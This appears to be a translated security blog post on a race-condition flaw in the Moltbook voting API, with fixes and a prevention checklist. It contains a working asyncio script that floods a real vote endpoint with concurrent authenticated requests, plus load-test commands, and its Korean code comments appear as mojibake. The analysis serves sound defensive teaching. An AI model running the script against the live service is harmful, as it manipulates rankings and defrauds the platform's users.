Moltbook API Race Condition Vulnerability Analysis
A technical analysis of the Race Condition vulnerability and its impact, discovered in the voting system of Moltbook, an AI agent social network.
This post was machine-translated from Korean by AI. Some expressions may differ from the original.
Read the original (Korean)Overview
Recently, an interesting vulnerability was discovered in Moltbook, a social network where AI agents are active. This vulnerability is a Race Condition that exists in the platform's core Karma (voting) system, which, if exploited, allows for unlimited voting.
β οΈ Disclaimer: This article is written for educational purposes only. Unauthorized attacks on real systems are illegal.
Vulnerability Details
Problem
The Moltbook API does not use database locks when checking if a user has voted on a specific post. This causes the following Race Condition:
μκ° β
μμ² 1: [ν¬ν μ¬λΆ νμΈ] β "μμ§ μ ν¨" β [ν¬ν μ²λ¦¬] β β
μμ² 2: [ν¬ν μ¬λΆ νμΈ] β "μμ§ μ ν¨" β [ν¬ν μ²λ¦¬] β β
μμ² 3: [ν¬ν μ¬λΆ νμΈ] β "μμ§ μ ν¨" β [ν¬ν μ²λ¦¬] β β
β
λμμ 50κ° μμ²μ 보λ΄λ©΄
λͺ¨λ μμ²μ΄ "μμ§ ν¬ν μ ν¨"μΌλ‘ νλ¨Attack Scenario
import asyncio
import aiohttp
async def vote(session, post_id, token):
"""λ¨μΌ ν¬ν μμ²"""
async with session.post(
f"https://api.moltbook.com/posts/{post_id}/vote",
headers={"Authorization": f"Bearer {token}"}
) as response:
return response.status
async def exploit(post_id, token, count=50):
"""λμ λ€μ€ ν¬ν 곡격"""
async with aiohttp.ClientSession() as session:
tasks = [vote(session, post_id, token) for _ in range(count)]
results = await asyncio.gather(*tasks)
success = sum(1 for r in results if r == 200)
print(f"μ±κ³΅ν ν¬ν: {success}/{count}")
# μ€ν: asyncio.run(exploit("post-uuid", "user-token"))By sending 50 concurrent requests, the server checks if each request has voted while the vote from other requests has not yet been committed, so all requests succeed.
Technical Analysis
Why does it occur?
This vulnerability is a typical TOCTOU (Time-of-Check to Time-of-Use) problem:
- Check: Check if the user has already voted
- Use: Insert voting record
There is a "window" between these two steps where other transactions can intervene.
-- μ·¨μ½ν μ½λ (μμ¬ μ½λ)
BEGIN TRANSACTION;
-- Step 1: Check (λ½ μμ)
SELECT COUNT(*) FROM votes
WHERE user_id = ? AND post_id = ?;
-- μ¬κΈ°μ λ€λ₯Έ νΈλμμ
μ΄ λΌμ΄λ€ μ μμ!
-- Step 2: Use
IF count == 0 THEN
INSERT INTO votes (user_id, post_id) VALUES (?, ?);
END IF;
COMMIT;Correct Implementation
-- ν΄κ²°μ±
1: SELECT FOR UPDATE (λΉκ΄μ λ½)
BEGIN TRANSACTION;
SELECT COUNT(*) FROM votes
WHERE user_id = ? AND post_id = ?
FOR UPDATE; -- ν λ½ νλ
IF count == 0 THEN
INSERT INTO votes (user_id, post_id) VALUES (?, ?);
END IF;
COMMIT;-- ν΄κ²°μ±
2: UNIQUE μ μ½μ‘°κ±΄ + UPSERT
CREATE UNIQUE INDEX idx_votes_unique
ON votes (user_id, post_id);
-- μ€λ³΅ μ μλ 무μ
INSERT INTO votes (user_id, post_id) VALUES (?, ?)
ON CONFLICT DO NOTHING;Impact
Actual Damage
Due to this vulnerability:
- Karma System Disablement: Voting counts can be manipulated arbitrarily
- Ranking Manipulation: The "Top Agents" ranking is proportional to the frequency of attacks, not popularity
- Loss of Trust: The platform's core value (agent reputation) becomes meaningless
Discovery Circumstances
This vulnerability was discovered by Moltbook user @CircuitDreamer and disclosed to the platform. The original post has now been deleted.
Generalized Lessons
Race Condition Prevention Checklist
-
Database Level
- Use
FOR UPDATE/FOR SHARElocks - Set appropriate isolation levels (SERIALIZABLE)
- Utilize UNIQUE constraints
- Use
-
Application Level
- Distributed Locks (Redis, ZooKeeper)
- Optimistic Locking (version number)
- Idempotency Key pattern
-
API Design
- Rate Limiting
- Request Deduplication
- Ensure Idempotency
Testing Methods
Race Conditions are difficult to find with typical testing. The following tools are useful:
# 1. Apache Benchλ‘ λμ μμ²
ab -n 100 -c 50 -H "Authorization: Bearer $TOKEN" \
-T "application/json" \
https://api.example.com/vote
# 2. hey (Go κΈ°λ° λ²€μΉλ§ν¬ λꡬ)
hey -n 100 -c 50 -H "Authorization: Bearer $TOKEN" \
https://api.example.com/vote
# 3. Python asyncio μ€ν¬λ¦½νΈ (μ μμ μ°Έκ³ )Conclusion
This vulnerability in Moltbook once again reminds us of the importance of concurrency issues in web application security.
In particular, APIs used by AI agents are more vulnerable to Race Conditions because they can generate requests at a much faster rate than regular users. Concurrency scenarios must be considered when designing APIs.
Comments